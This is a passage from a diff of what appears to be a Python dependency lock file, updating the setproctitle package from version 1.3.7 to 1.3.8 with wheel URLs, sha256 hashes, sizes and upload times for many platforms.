"https://files.pythonhosted.org/packages/ab/01/a36de7caf2d90c4c28678da1466b47495cbbad43badb4e982d8db8167ed4/setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:23e520776c445478a67ee71b2a3c1ffdafbe1f9f677239e03d7e2cc635954e18", size = 35550, upload-time = "2025-09-05T12:50:10.791Z" }, - { url = "https://files.pythonhosted.org/packages/dd/68/17e8aea0ed5ebc17fbf03ed2562bfab277c280e3625850c38d92a7b5fcd9/setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5fa1953126a3b9bd47049d58c51b9dac72e78ed120459bd3aceb1bacee72357c", size = 33727, upload-time = "2025-09-05T12:50:12.032Z" }, - { url = "https://files.pythonhosted.org/packages/b2/33/90a3bf43fe3a2242b4618aa799c672270250b5780667898f30663fd94993/setproctitle-1.3.7-cp313-cp313t-win32.whl", hash = "sha256:4a5e212bf438a4dbeece763f4962ad472c6008ff6702e230b4f16a037e2f6f29", size = 12549, upload-time = "2025-09-05T12:50:13.074Z" }, - { url = "https://files.pythonhosted.org/packages/0b/0e/50d1f07f3032e1f23d814ad6462bc0a138f369967c72494286b8a5228e40/setproctitle-1.3.7-cp313-cp313t-win_amd64.whl", hash = "sha256:cf2727b733e90b4f874bac53e3092aa0413fe1ea6d4f153f01207e6ce65034d9", size = 13243, upload-time = "2025-09-05T12:50:14.146Z" }, - { url = "https://files.pythonhosted.org/packages/89/c7/43ac3a98414f91d1b86a276bc2f799ad0b4b010e08497a95750d5bc42803/setproctitle-1.3.7-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:80c36c6a87ff72eabf621d0c79b66f3bdd0ecc79e873c1e9f0651ee8bf215c63", size = 18052, upload-time = "2025-09-05T12:50:17.928Z" }, - { url = "https://files.pythonhosted.org/packages/cd/2c/dc258600a25e1a1f04948073826bebc55e18dbd99dc65a576277a82146fa/setproctitle-1.3.7-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b53602371a52b91c80aaf578b5ada29d311d12b8a69c0c17fbc35b76a1fd4f2e", size = 13071, upload-time = "2025-09-05T12:50:19.061Z" }, - { url = "https://files.pythonhosted.org/packages/ab/26/8e3bb082992f19823d831f3d62a89409deb6092e72fc6940962983ffc94f/setproctitle-1.3.7-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fcb966a6c57cf07cc9448321a08f3be6b11b7635be502669bc1d8745115d7e7f", size = 33180, upload-time = "2025-09-05T12:50:20.395Z" }, - { url = "https://files.pythonhosted.org/packages/f1/af/ae692a20276d1159dd0cf77b0bcf92cbb954b965655eb4a69672099bb214/setproctitle-1.3.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46178672599b940368d769474fe13ecef1b587d58bb438ea72b9987f74c56ea5", size = 34043, upload-time = "2025-09-05T12:50:22.454Z" }, - { url = "https://files.pythonhosted.org/packages/34/b2/6a092076324dd4dac1a6d38482bedebbff5cf34ef29f58585ec76e47bc9d/setproctitle-1.3.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7f9e9e3ff135cbcc3edd2f4cf29b139f4aca040d931573102742db70ff428c17", size = 35892, upload-time = "2025-09-05T12:50:23.937Z" }, - { url = "https://files.pythonhosted.org/packages/1c/1a/8836b9f28cee32859ac36c3df85aa03e1ff4598d23ea17ca2e96b5845a8f/setproctitle-1.3.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:14c7eba8d90c93b0e79c01f0bd92a37b61983c27d6d7d5a3b5defd599113d60e", size = 32898, upload-time = "2025-09-05T12:50:25.617Z" }, - { url = "https://files.pythonhosted.org/packages/ef/22/8fabdc24baf42defb599714799d8445fe3ae987ec425a26ec8e80ea38f8e/setproctitle-1.3.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:9e64e98077fb30b6cf98073d6c439cd91deb8ebbf8fc62d9dbf52bd38b0c6ac0", size = 34308, upload-time = "2025-09-05T12:50:26.827Z" }, - { url = "https://files.pythonhosted.org/packages/15/1b/b9bee9de6c8cdcb3b3a6cb0b3e773afdb86bbbc1665a3bfa424a4294fda2/setproctitle-1.3.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b91387cc0f02a00ac95dcd93f066242d3cca10ff9e6153de7ee07069c6f0f7c8", size = 32536, upload-time = "2025-09-05T12:50:28.5Z" }, - { url = "https://files.pythonhosted.org/packages/37/0c/75e5f2685a5e3eda0b39a8b158d6d8895d6daf3ba86dec9e3ba021510272/setproctitle-1.3.7-cp314-cp314-win32.whl", hash = "sha256:52b054a61c99d1b72fba58b7f5486e04b20fefc6961cd76722b424c187f362ed", size = 12731, upload-time = "2025-09-05T12:50:43.955Z" }, - { url = "https://files.pythonhosted.org/packages/d2/ae/acddbce90d1361e1786e1fb421bc25baeb0c22ef244ee5d0176511769ec8/setproctitle-1.3.7-cp314-cp314-win_amd64.whl", hash = "sha256:5818e4080ac04da1851b3ec71e8a0f64e3748bf9849045180566d8b736702416", size = 13464, upload-time = "2025-09-05T12:50:45.057Z" }, - { url = "https://files.pythonhosted.org/packages/01/6d/20886c8ff2e6d85e3cabadab6aab9bb90acaf1a5cfcb04d633f8d61b2626/setproctitle-1.3.7-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6fc87caf9e323ac426910306c3e5d3205cd9f8dcac06d233fcafe9337f0928a3", size = 18062, upload-time = "2025-09-05T12:50:29.78Z" }, - { url = "https://files.pythonhosted.org/packages/9a/60/26dfc5f198715f1343b95c2f7a1c16ae9ffa45bd89ffd45a60ed258d24ea/setproctitle-1.3.7-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6134c63853d87a4897ba7d5cc0e16abfa687f6c66fc09f262bb70d67718f2309", size = 13075, upload-time = "2025-09-05T12:50:31.604Z" }, - { url = "https://files.pythonhosted.org/packages/21/9c/980b01f50d51345dd513047e3ba9e96468134b9181319093e61db1c47188/setproctitle-1.3.7-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1403d2abfd32790b6369916e2313dffbe87d6b11dca5bbd898981bcde48e7a2b", size = 34744, upload-time = "2025-09-05T12:50:32.777Z" }, - { url = "https://files.pythonhosted.org/packages/86/b4/82cd0c86e6d1c4538e1a7eb908c7517721513b801dff4ba3f98ef816a240/setproctitle-1.3.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e7c5bfe4228ea22373e3025965d1a4116097e555ee3436044f5c954a5e63ac45", size = 35589, upload-time = "2025-09-05T12:50:34.13Z" }, - { url = "https://files.pythonhosted.org/packages/8a/4f/9f6b2a7417fd45673037554021c888b31247f7594ff4bd2239918c5cd6d0/setproctitle-1.3.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:585edf25e54e21a94ccb0fe81ad32b9196b69ebc4fc25f81da81fb8a50cca9e4", size = 37698, upload-time = "2025-09-05T12:50:35.524Z" }, - { url = "https://files.pythonhosted.org/packages/20/92/927b7d4744aac214d149c892cb5fa6dc6f49cfa040cb2b0a844acd63dcaf/setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:96c38cdeef9036eb2724c2210e8d0b93224e709af68c435d46a4733a3675fee1", size = 34201, upload-time = "2025-09-05T12:50:36.697Z" }, - { url = "https://files.pythonhosted.org/packages/0a/0c/fd4901db5ba4b9d9013e62f61d9c18d52290497f956745cd3e91b0d80f90/setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:45e3ef48350abb49cf937d0a8ba15e42cee1e5ae13ca41a77c66d1abc27a5070", size = 35801, upload-time = "2025-09-05T12:50:38.314Z" }, - { url = "https://files.pythonhosted.org/packages/e7/e3/54b496ac724e60e61cc3447f02690105901ca6d90da0377dffe49ff99fc7/setproctitle-1.3.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:1fae595d032b30dab4d659bece20debd202229fce12b55abab978b7f30783d73", size = 33958, upload-time = "2025-09-05T12:50:39.841Z" }, - { url = "https://files.pythonhosted.org/packages/ea/a8/c84bb045ebf8c6fdc7f7532319e86f8380d14bbd3084e6348df56bdfe6fd/setproctitle-1.3.7-cp314-cp314t-win32.whl", hash = "sha256:02432f26f5d1329ab22279ff863c83589894977063f59e6c4b4845804a08f8c2", size = 12745, upload-time = "2025-09-05T12:50:41.377Z" }, - { url = "https://files.pythonhosted.org/packages/08/b6/3a5a4f9952972791a9114ac01dfc123f0df79903577a3e0a7a404a695586/setproctitle-1.3.7-cp314-cp314t-win_amd64.whl", hash = "sha256:cbc388e3d86da1f766d8fc2e12682e446064c01cea9f88a88647cfe7c011de6a", size = 13469, upload-time = "2025-09-05T12:50:42.67Z" }, - { url = "https://files.pythonhosted.org/packages/34/8a/aff5506ce89bc3168cb492b18ba45573158d528184e8a9759a05a09088a9/setproctitle-1.3.7-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:eb440c5644a448e6203935ed60466ec8d0df7278cd22dc6cf782d07911bcbea6", size = 12654, upload-time = "2025-09-05T12:51:17.141Z" }, - { url = "https://files.pythonhosted.org/packages/41/89/5b6f2faedd6ced3d3c085a5efbd91380fb1f61f4c12bc42acad37932f4e9/setproctitle-1.3.7-pp310-pypy310_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:502b902a0e4c69031b87870ff4986c290ebbb12d6038a70639f09c331b18efb2", size = 14284, upload-time = "2025-09-05T12:51:18.393Z" }, - { url = "https://files.pythonhosted.org/packages/0a/c0/4312fed3ca393a29589603fd48f17937b4ed0638b923bac75a728382e730/setproctitle-1.3.7-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f6f268caeabb37ccd824d749e7ce0ec6337c4ed954adba33ec0d90cc46b0ab78", size = 13282, upload-time = "2025-09-05T12:51:19.703Z" }, - { url = "https://files.pythonhosted.org/packages/c3/5b/5e1c117ac84e3cefcf8d7a7f6b2461795a87e20869da065a5c087149060b/setproctitle-1.3.7-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b1cac6a4b0252b8811d60b6d8d0f157c0fdfed379ac89c25a914e6346cf355a1", size = 12587, upload-time = "2025-09-05T12:51:21.195Z" }, - { url = "https://files.pythonhosted.org/packages/73/02/b9eadc226195dcfa90eed37afe56b5dd6fa2f0e5220ab8b7867b8862b926/setproctitle-1.3.7-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f1704c9e041f2b1dc38f5be4552e141e1432fba3dd52c72eeffd5bc2db04dc65", size = 14286, upload-time = "2025-09-05T12:51:22.61Z" }, - { url = "https://files.pythonhosted.org/packages/28/26/1be1d2a53c2a91ec48fa2ff4a409b395f836798adf194d99de9c059419ea/setproctitle-1.3.7-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:b08b61976ffa548bd5349ce54404bf6b2d51bd74d4f1b241ed1b0f25bce09c3a", size = 13282, upload-time = "2025-09-05T12:51:24.094Z" }, +version = "1.3.8" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/49/b0/6b8a516c5a9e9630bd5293db78314ac012f690305fe93beadea388626efb/setproctitle-1.3.8.tar.gz", hash = "sha256:cafe209d064a6efb88cb45a03e97981ff8832802b2b5d009dde0197a3b7b41c8", size = 27214, upload-time = "2026-10-01T21:09:27.121Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4a/78/d065a73bef541ab5f6f094c705c016563a063a4ba9e839030a845f2087d7/setproctitle-1.3.8-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:cc711e639a3e978978ab3bbb01f8f106715f5c23bbd99ced5af2404528bbaa6c", size = 18131, upload-time = "2026-10-01T20:58:40.67Z" }, + { url = "https://files.pythonhosted.org/packages/6a/95/2981f400b09b0675225f45b105f1c99e3dfa603b12e6767fd09fd5e58209/setproctitle-1.3.8-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:50f9bce172b6f9ead1c8fe813d85b1dde57ab503a445f982026ac3a16c719e1e", size = 13140, upload-time = "2026-10-01T20:58:42.383Z" }, + { url = "https://files.pythonhosted.org/packages/2e/89/7a19bba7f4a354fc3499bf83614b27452232235b1d44191f46ff396051de/setproctitle-1.3.8-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1a6f6a3b2920f4362e8d924f9e5b084f0b2692a2c140e348abd2e3a07a1def73", size = 32316, upload-time = "2026-10-01T20:58:44.544Z" }, + { url = "https://files.pythonhosted.org/packages/56/21/cc23c7184c59e3511b024aac78181d71a4d68f957cf7a07b5cff13404db0/setproctitle-1.3.8-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:861380b2244983d12b6fe00e4a49f16f9946932245a252dd16c1f5ef7d1be632", size = 33226, upload-time = "2026-10-01T20:58:46.66Z" }, + { url = "https://files.pythonhosted.org/packages/83/63/42e67ea6e5e36cedd0dc3df0846e0b4879ccf68fb36eb27f80b31c292ded/setproctitle-1.3.8-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e03a3bdd844e20a611518f7532e951c63d25bb27ccae7d7eb02100542540c14f", size = 35035, upload-time = "2026-10-01T20:58:49.092Z" }, + { url = "https://files.pythonhosted.org/packages/56/48/a156953dfab59df378ac92acca0e6873edf653d94e1a6a08d4a2bcf8add7/setproctitle-1.3.8-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ecb5101325e0254694e55d46ff936926296626bf81c902b60328ead152170bfd", size = 31481, upload-time = "2026-10-01T20:58:51.19Z" }, + { url = "https://files.pythonhosted.org/packages/cc/6f/bed22b21f6a4543bab99d10d5374850470ec3080616a29fa36e07ccf42b2/setproctitle-1.3.8-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:f7bd9f7a369a2914102c375d98998c97d669306372732c850dd8319d5a92f515", size = 32468, upload-time = "2026-10-01T20:58:53.413Z" }, + { url = "https://files.pythonhosted.org/packages/17/7c/0a64d381b652dcbe07538434e8340d1a07dbdc9b6646f87e398fc0e39f3d/setproctitle-1.3.8-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:c3cb92b3239e8094c2454a2160e45417490d4fce69cd09ac846a0c3e43360fb4", size = 33772, upload-time = "2026-10-01T20:58:55.849Z" }, + { url = "https://files.pythonhosted.org/packages/fd/d2/4c79334f634538e0197cc2f1817ec35a10f8993fbf93566353b0d7e750a3/setproctitle-1.3.8-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:eadfb2ec0948a791846f7cc411c18ff5bd8359e8102cf78d39b8a28bd98b7c6a", size = 30770, upload-time = "2026-10-01T20:58:57.851Z" }, + { url = "https://files.pythonhosted.org/packages/46/2a/c7626d22877c2a413e9b8114c68f00f42a228efc517652a6d37ca29f4768/setproctitle-1.3.8-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:23a193a32a9cca10c4062e2efa3377e804d0209903c734940cc6626d6dfd018a", size = 31894, upload-time = "2026-10-01T20:59:00.076Z" }, + { url = "https://files.pythonhosted.org/packages/47/4a/e78ef703b7f7e18a1ccd0fcdda1ce39f11680da96dff22a285fe378a35d9/setproctitle-1.3.8-cp311-cp311-win32.whl", hash = "sha256:3a6337e7c0f50a702106e6652764117c442a0468292afb8a7406ff7c483bfc8a", size = 12104, upload-time = "2026-10-01T20:59:01.769Z" }, + { url = "https://files.pythonhosted.org/packages/1c/2a/ef5aac7428f98385cbb065add9d2257d969600f1c2db489859e5d868689c/setproctitle-1.3.8-cp311-cp311-win_amd64.whl", hash = "sha256:66aad6ca59e4197d8e49de384474d8b9ecc6e10989523ca7339cecf7ef2a34bf", size = 12943, upload-time = "2026-10-01T20:59:03.323Z" }, + { url = "https://files.pythonhosted.org/packages/b1/36/e7a4b93d7457ed12a1a2b49b042c25848a8847b15f7808159f2ccce91fdd/setproctitle-1.3.8-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:f9a49d8103df362272c625641a4f7b104ae584db21d0f1eec3b7a5d0d7750ed8", size = 18121, upload-time = "2026-10-01T20:59:05.288Z" }, + { url = "https://files.pythonhosted.org/packages/57/be/6a10d95bba71fd5f441dda01ae374ebcaeaa637a09f72b95e8cc59443958/setproctitle-1.3.8-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:823d7d8790a4f8484c7fa65468fcd9d009f13ffe5f0bc89ec0e0d2c165ac0335", size = 13126, upload-time = "2026-10-01T20:59:06.865Z" }, + { url = "https://files.pythonhosted.org/packages/cb/21/4df9fbc0c72b9bca39b5d53eff6813dc1738a1562983e0c614054e9dbb8d/setproctitle-1.3.8-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4a765e0c80a2453480be27c4fc22ba1c0771867040c5f91e4221940d78a4abfb", size = 32929, upload-time = "2026-10-01T20:59:09.199Z" }, + { url = "https://files.pythonhosted.org/packages/5f/07/1476dafdbf5d124a05ae4856272908c0796fa65844376a32bb066f04afda/setproctitle-1.3.8-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f61345393548bc72844d837d62fcf63444b0f5dac418544beb6d4f628a1c5df3", size = 33765, upload-time = "2026-10-01T20:59:15.018Z" }, + { url = "https://files.pythonhosted.org/packages/81/c6/db7b3b859ba0fad54d6a352c3f99a29691f11be133649f61a30a3798f2b0/setproctitle-1.3.8-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba59516fcab4b621b80966a32f1195770696c113a948d00845f35b762e335db7", size = 35614, upload-time = "2026-10-01T20:59:17.439Z" }, + { url = "https://files.pythonhosted.org/packages/c2/76/1acfd4b72d5e1cb56ce44b028325d12fedd3410bfac02e15d3de03fa049a/setproctitle-1.3.8-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f523d34ad72b811be61e5027a046ad4670b54fc3c6384056f06b59f77d671af0", size = 32215, upload-time = "2026-10-01T20:59:19.993Z" }, + { url = "https://files.pythonhosted.org/packages/d8/a4/ce856b9aea7bcf1be539b1811e9bd937ca3cd1edf99516a66b71132cfcc3/setproctitle-1.3.8-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c667cc9c4cd949814b4ba8be70632a6454637647f3feea2724e02d3d3e35c66d", size = 33169, upload-time = "2026-10-01T20:59:22.201Z" }, + { url = "https://files.pythonhosted.org/packages/88/40/d96d641620e0cf4d8ec09571e5be293aa45f66cde574fc9c069b0ecbeb9f/setproctitle-1.3.8-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:0d2f756ede847e05e7759af4f2d87dedf3ed34004092216be85acd8301b1d385", size = 34429, upload-time = "2026-10-01T20:59:24.228Z" }, + { url = "https://files.pythonhosted.org/packages/b4/3c/ef0eef79863fad43ba6aca4fd96ab3b16358e8e37fd6d794bc8f7b88bf6a/setproctitle-1.3.8-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:191888bdf7c223c8b00eaa935947de0904165dee5e84d2055aecbb473d9c3f51", size = 31401, upload-time = "2026-10-01T20:59:26.32Z" }, + { url = "https://files.pythonhosted.org/packages/bb/97/7c667a2eae40a693b26186b34384ce9035f4563b7053e2e254f7738da75a/setproctitle-1.3.8-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:9c7b9b6ba3d0f6e504be5978854966168fb95b17ce126eab9a6132fe15f3e540", size = 32724, upload-time = "2026-10-01T20:59:28.481Z" }, + { url = "https://files.pythonhosted.org/packages/77/6f/33460cd16f81cbb367b55ce5e55bcee14ee05e16c8dddac83fddce308cc6/setproctitle-1.3.8-cp312-cp312-win32.whl", hash = "sha256:349499c0b21a940c3cb93d938013d40313711911e2fbaecd4700e2b7c236ca57", size = 12106, upload-time = "2026-10-01T20:59:29.924Z" }, + { url = "https://files.pythonhosted.org/packages/87/92/243fa4a41c565eea22c9e7e5c14cceb3a6d1e10e2586da94692a30cef2a5/setproctitle-1.3.8-cp312-cp312-win_amd64.whl", hash = "sha256:f599401675bdcac21176ca385ea3139fc04c1f8e26724dc59f4fc9df1d1528ef", size = 12939, upload-time = "2026-10-01T20:59:31.622Z" }, + { url = "https://files.pythonhosted.org/packages/58/46/125791eb19c85340c6d43de8c821b143aecbfa0882343f244f5744474229/setproctitle-1.3.8-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:a4a782f9ab26e662a890c1a7d865c452c83ed554de44aa83da35fa5bdcc79921", size = 18100, upload-time = "2026-10-01T20:59:33.41Z" }, + { url = "https://files.pythonhosted.org/packages/47/51/73b1e62c3e019e683e58d31f9f8af57e6750f36ce079004d29b7790e22ce/setproctitle-1.3.8-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d63adfa4be8f9dbac4be6b359e2a8eb15a733545ef613d02a12ae27a4d40e975", size = 13116, upload-time = "2026-10-01T20:59:35.159Z" }, + { url = "https://files.pythonhosted.org/packages/78/ae/095c6ad159e3a7b95bc6d9a3eae18abfea1ebc79ed3377617406a1668150/setproctitle-1.3.8-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:d4289e209e805d7d276a534f062092974fbe6814889d4c132c247205ebb49a65", size = 33275, upload-time = "2026-10-01T20:59:37.235Z" }, + { url = "https://files.pythonhosted.org/packages/f7/6e/5196258efd941cb874b3f4da91460601b867fdc434eba48a70455736d4be/setproctitle-1.3.8-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8bb543b4b58ad839f7f0d335a7f4b40cef6989952e7239de3532de0b7771607e", size = 34124, upload-time = "2026-10-01T20:59:39.529Z" }, + { url = "https://files.pythonhosted.org/packages/36/01/e9754e0916e6dda232a8c337bda69d2fea33acee0c5d3bdf580b8155a50d/setproctitle-1.3.8-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b705f01a531dba8fbbab90e30d432af4cc70a79c0a33b238e2c061816140cad0", size = 36006, upload-time = "2026-10-01T20:59:41.501Z" }, + { url = "https://files.pythonhosted.org/packages/ee/a9/c63d2d745f18423937429a8611743e7b3e17259173150fbcdaa59daa4a51/setproctitle-1.3.8-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8e286e4c4e90063072a6e088a8d6526a7ffceb47429db88ba50ba58eeebcc758", size = 32268, upload-time = "2026-10-01T20:59:43.795Z" }, + { url = "https://files.pythonhosted.org/packages/36/0c/a72818902f32ea9b848db5ccc828eb9cd9bc8661975610e1d46ea4aacbe2/setproctitle-1.3.8-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7b77c8671974288cf192e481ed63e928f1086762e97e8845d09d65ba121f8aaa", size = 33179, upload-time = "2026-10-01T20:59:45.809Z" }, + { url = "https://files.pythonhosted.org/packages/bb/55/fa59463ae6b957048e0e842d4b5513eced1b71554d8af0f5d91cd23cde23/setproctitle-1.3.8-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0e85b55eac9abfa3166ab00dac21e718ac2624a1df7d0b75559a2d3e3781cb33", size = 34472, upload-time = "2026-10-01T20:59:47.858Z" }, + { url = "https://files.pythonhosted.org/packages/b7/77/1f0cf55055788bf7eb9a146040a64d7ec42cd56153894856effc70e943ec/setproctitle-1.3.8-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f215ec9237d5f8e96d0205be6e2141292c20b133343c2153b6d4934f523ef422", size = 31428, upload-time = "2026-10-01T20:59:49.753Z" }, + { url = "https://files.pythonhosted.org/packages/32/98/d1d8a6cd620d72a04f5d3335125e5b2fc5667bd06a76bb5bbc50b101e804/setproctitle-1.3.8-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b0e70a5d294e4c8cf7dc94e015fca6d4913779a424937e66b429fba82d8eb5e2", size = 32776, upload-time = "2026-10-01T20:59:51.763Z" }, + { url = "https://files.pythonhosted.org/packages/4b/34/8b9eea1e80ac7a7f622eead8a0e4d73a60098344ed6f373e111f7ce8d29d/setproctitle-1.3.8-cp313-cp313-win32.whl", hash = "sha256:f85b4d87273e0ec63568433bbb8ccf160b548c49b53576fe010bad9f698b8586", size = 12105, upload-time = "2026-10-01T20:59:53.444Z" }, + { url = "https://files.pythonhosted.org/packages/bf/f0/98883c658859d331faf91eccac8946cb2f8feb2590905015b129fdeb09cd/setproctitle-1.3.8-cp313-cp313-win_amd64.whl", hash = "sha256:bcdf74fe8a6e3b31bed1bc7d3e2a38cfbda3263d2750492ea0725dbc2db5aacf", size = 12933, upload-time = "2026-10-01T20:59:55.045Z" }, + { url = "https://files.pythonhosted.org/packages/cb/1b/15043f8886aecfb31759c4a7c2cda9f85971242a10723049fc0fea34629f/setproctitle-1.3.8-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:f5f1d7e0d57cd75febd70c6fc26c2ea06024ab2006011abb3094b9fea54801ee", size = 18104, upload-time = "2026-10-01T20:59:57.014Z" }, + { url = "https://files.pythonhosted.org/packages/0d/be/c2a6880394bef30aafe274d00ca0c7dac34fff1fb867f6c51abf876a640f/setproctitle-1.3.8-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b8954fc72fdd49588c8b8d615eabc27dfd8eb6d0cffe987fc5df02934816fb19", size = 13124, upload-time = "2026-10-01T20:59:58.611Z" }, + { url = "https://files.pythonhosted.org/packages/a7/96/6b3818e7f63a30f13bbe97b1ea0a51509a20b5b2d48c95e526c3054343d5/setproctitle-1.3.8-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4d6a0245679b74e0fda974edb672cd1f2351b0d762279b6776ca3a065c9322a4", size = 33180, upload-time = "2026-10-01T21:04:02.137Z" }, + { url = "https://files.pythonhosted.org/packages/4f/43/fd3220b4bb2169d8723b3561ae7f8e1ee6f2e13e2da38b3a7a150004d2aa/setproctitle-1.3.8-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:394aca04e9f11c469f4f29d25a40a79eb4b8c9a72f438ba6390b776590f89757", size = 34071, upload-time = "2026-10-01T21:07:16.281Z" }, + { url = "https://files.pythonhosted.org/packages/34/58/ee9eeebeb74125723b60eada6e6b2def747815228193327ce470da088f2b/setproctitle-1.3.8-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f92f6ded50c0ae7b0fed612be77c5345ed4a4578f99b98c7f8258d0e599eff16", size = 35923, upload-time = "2026-10-01T21:07:19.054Z" }, + { url = "https://files.pythonhosted.org/packages/f6/fe/b339602e96d73b29fd123c8b9c886e8f9a5afa12a18218eece56bd99c668/setproctitle-1.3.8-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c09f15930910dd895ac113b16c0b3ac2051dcbd44b0f017f94cb51349ba11583", size = 32116, upload-time = "2026-10-01T21:07:25.121Z" }, + { url = "https://files.pythonhosted.org/packages/b2/5e/8d46d34648d8dfdc3f3e941c149ae316b6c6f417391018e279a1bb733c42/setproctitle-1.3.8-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4756a96435917494ec2f27f0da46bc05eecaa1a7e072d57220ecb2d46ea8a3d3", size = 32980, upload-time = "2026-10-01T21:07:27.826Z" }, + { url = "https://files.pythonhosted.org/packages/dd/6a/10720d27d5f4a47c9af51652b49dd22313be20b9d542e72f80b4b363702b/setproctitle-1.3.8-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:65279b2df2951b64878da5382363e730d242486179c440c8653fe39aa3cc9e62", size = 34307, upload-time = "2026-10-01T21:07:30.62Z" }, + { url = "https://files.pythonhosted.org/packages/6e/65/95dd7b0245fdb7d2f6633613c559ecd9f0b2afeb6e3d962c218b6a1722d4/setproctitle-1.3.8-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:3d2ced815b940c88097e07182c57cbfe1a0156839d1edc9be2bc0e4c74ab4eed", size = 31126, upload-time = "2026-10-01T21:07:33.59Z" }, + { url = "https://files.pythonhosted.org/packages/fd/96/4d62c4ba70cf8fa305f1dcbe35e93449819bb27b451fcb473556acf92650/setproctitle-1.3.8-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:37a91697c3b96bac58b6936b3bf0366af96a2a6cef963fdd9aaf0593a4bd1ff2", size = 32468, upload-time = "2026-10-01T21:07:36.312Z" }, + { url = "https://files.pythonhosted.org/packages/0a/4a/1ec517435d4b572f6c468795331c7b376ec310eca5b1321504c6647b85a9/setproctitle-1.3.8-cp314-cp314-win32.whl", hash = "sha256:7cdd3d6e5e8abcee233157615d88dbb80527a5a4eccb95a93fbf92e6d2c8f9dd", size = 12255, upload-time = "2026-10-01T21:08:12.203Z" }, + { url = 